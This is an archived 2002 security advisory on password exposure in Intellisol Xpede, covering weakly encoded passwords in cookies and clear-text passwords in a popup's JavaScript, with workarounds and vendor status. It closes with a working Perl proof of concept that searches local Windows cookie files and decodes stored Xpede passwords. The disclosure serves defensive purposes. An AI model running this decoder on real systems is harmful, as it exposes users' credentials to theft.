exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

xpede.txt

xpede.txt
Posted Mar 22, 2002
Authored by Gregory Duchemin

Intellisol Xpede v4.1 and 7.1 contains two remote vulnerabilities which disclose user passwords. Workaround information included.

tags | remote, vulnerability
SHA-256 | 81eb0c2ecc2614795ed95d5aecf4f16515e453e55ce6b04b45dccc19776c3a69

xpede.txt

Change Mirror Download


Passwords exposed in Intellisol XPede
==========================


About Xpede
=========

quote from http://www.workforceroi.com/solutions/pa/index.shtml

"Intellisol Xpede is a browser-based time and expense entry and project cost
management module designed to connect a remote workforce on a real-time
basis.
Intellisol Project Accounting is designed for any professional service
organization such as consulting, software development, law, architecture,
engineering, PR/advertising and more with between 10 and 500 million dollars
in revenue and up to 500 employees,
and integrates with Microsoft Great Plains Business Solutions financial
suites. "


Problems
=======

Tested with Xpede 4.1 / NT 4.0
Two security vulnerabilites has been discovered in the way Xpede handle
users password.

1/ Xpede's cookies store users password "ciphered" in a very weak manner
(a mix of shifts and permutations),
recovering a clear text password from there is really trivial making users
remotely vulnerable from cross site scripting based attacks,
various MSIE bugs while users are locally vulnerable as well, by accessing
the local filesystem (ie the cookie file) when, for instance,
a user decide to use someone else's computer or is using a computer for wich
he shares Administrator rights with other.

2/ Passwords are shown in a clear form into the "session timeout"
re-authentication popup source.
The dangerous guilty javascript snipet simulate a "remember password" option
and tests if it was checked to automatically fill up the formular password
field.
The clear password is shown as is, in the javascript source code, whatever
the user decided to do with the option.
Indeed, a user can have a false sense of safety, leaving his host even few
seconds without having filled up the authentication popup
and therefore exposing his password to everybody lurking at the source and,
once again, is remotely vulnerable to the same MSIE bugs mentionned above.


Temp workarounds
=============

1 st problem / clear all cookies via MSIE "Tools/Internet
Options/General/Delete Cookies" right after a session has ended
to avoid local attack and patch your browser with the latests security fixes
if it wasn't already done
(anyway, u may fall in more serious troubles in the latter case :).

2 nd problem/ do not expose the authentication popup to unwise eyes (login
or quit the application) and again, patch your browser for remote attacks.


Additionnaly for paranoids, i suggest to close all MSIE running windows
before accessing Xpede application (and during the session).



Vendor status
=========

The vendor has been contacted on March 13. and as far as i know, is
currently working on a patch,
in the meantime, u may want to use the above workarounds.



Versions
======

Xpede support team has reported that both Xpede 4.1 and 7.x series were
affected by these vulnerabilities.


Author & Date
===========

Gregory Duchemin (c3rb3r@hotmail.com)
20 March 2002.


Have a nice day.



Proof of concept (password recovery from cookies)
====================================

#!/usr/bin/perl
# Xdeep.pl, search for and decipher Xpede passwords stored in these damn
cookies
# Pr00f of concept, not to be used for illegal purposes.
#
# Author: Gregory Duchemin Aka c3rb3r // March 2002
#
#output format

format STDOUT =
+ Userid: @<<<<<<<
$userid
+ Realname: @<<<<<<<<<<<<<<<<<<<<<<<<<
$realname
+ Company: @<<<<<<<<<<<<<<<<<<<<
$company
+ Encoded password: @<<<<<<<<<<<<<<<<<<<<
$password
.


#Cookie fingerprint
$signature="defPWD";



#decoding stuff
@PERMU=('9', '11', '2', '6', '4', '10', '1', '8', '7', '3', '5');
@ALPHA=('A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',
'N', 'O', 'P', 'Q', 'R','S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z',
'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z');
@SHIFT=(9, 5, 17, 26, 17, 22, 6, 2, 25, 6, 23);


#Change the following path to match your system
@COOKIE= glob('c:\winnt\Profiles\*\Cookies\*@*.txt');



$i=$count=0;
@FOUND= ('nope');

print "\n\nXdeep.pl Xpede cookies finder and decoder \n\n-- Gregory
Duchemin (Aka C3rb3r) ^ Feb 2002 --\n\n\n";

foreach $try (@COOKIE) {
$count++;
if (open(handle, $try))
{
@lines=<handle>;
if (!index($lines[0], $signature))
{
printf("\n+ Xpede cookie found ! yep :) <=> %s\n", $try);
$FOUND[$i]=$try;
$i++;
}
close(handle);
}

}

printf("\n+ %d files checked.\n", $count);

if (! $i)
{
print "\n\n- No Xpede cookie found, sorry\n\n";
exit(0);
}

printf("\n\n+ %d Cookie(s) found.\n", $i);
print "\n\n\n[Press return]\n";
$try=<STDIN>;

foreach $try (@FOUND) {

if (open(handle, $try))
{
@lines=<handle>;

$userid= @lines[55];
$realname=@lines[64];
$password=@lines[46];
$company=@lines[28];

$realname =~ s/\+/ /;
$userid =~ s/\+/ /;
$password =~ s/\+/ /;
$company =~ s/\+/ /;

$userid =~ s/%([a-f0-9][a-f0-9])/pack("C", hex($1))/eig;
$realname =~ s/%([a-f0-9][a-f0-9])/pack("C", hex($1))/eig;
$password =~ s/%([a-f0-9][a-f0-9])/pack("C", hex($1))/eig;
$company =~ s/%([a-f0-9][a-f0-9])/pack("C", hex($1))/eig;

printf "\n+ Found Xpede cookie :\n>> %s <<\n\n", $try;
write;
print "\n\n! Cr4cking 1n progr3ss ... \n";

@list=split //, $password;




if (length($password) > 12 )
{
$MAX = 11;
$DIFF = length($password)-1-$MAX;
for ($i = 0; $i < ($DIFF); $i++) {$REST = $REST.$list[$i]; }
splice(@list, 0, ($DIFF));
printf "\n+ Clear part is %s\n", $REST;
}
else {$MAX = length($password)-1;printf "\n- No clear part found \n";}



for ($i=0; $i<$MAX; $i) { $temp_pass = $temp_pass.$list[$PERMU[$i++]-1]; }
printf "\n+ Permutations give %s\n", $temp_pass;


@list=split //, $temp_pass;
for ($i=0; $i<$MAX; $i++)
{
$b = ord($list[$i]);
$c = $SHIFT[$i];
$flag=0;


for ($z=0; $z<52; $z+=1)
{
if (ord($ALPHA[$z]) == $b) { $a = ord($ALPHA[($z+$c)%52]);$flag=1;}
}

if (!$flag) {$a = $b;}


$decode = $decode.chr($a);
printf "\n+ %s Shift(%d) \t --> \t%s", chr($b), $c, chr($a);
}

printf "\n\n+ Shifting with secret key give %s\n", $decode;
printf "\n! Password is \"%s\"\n\n", $decode.$REST;
printf "\n\n- End.\n\n";

$decode=$REST=$temp_pass="";
close(handle);

print "\n\n[Press return]\n";
$try=<STDIN>;
}
}







_________________________________________________________________
Join the world’s largest e-mail service with MSN Hotmail.
http://www.hotmail.com

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close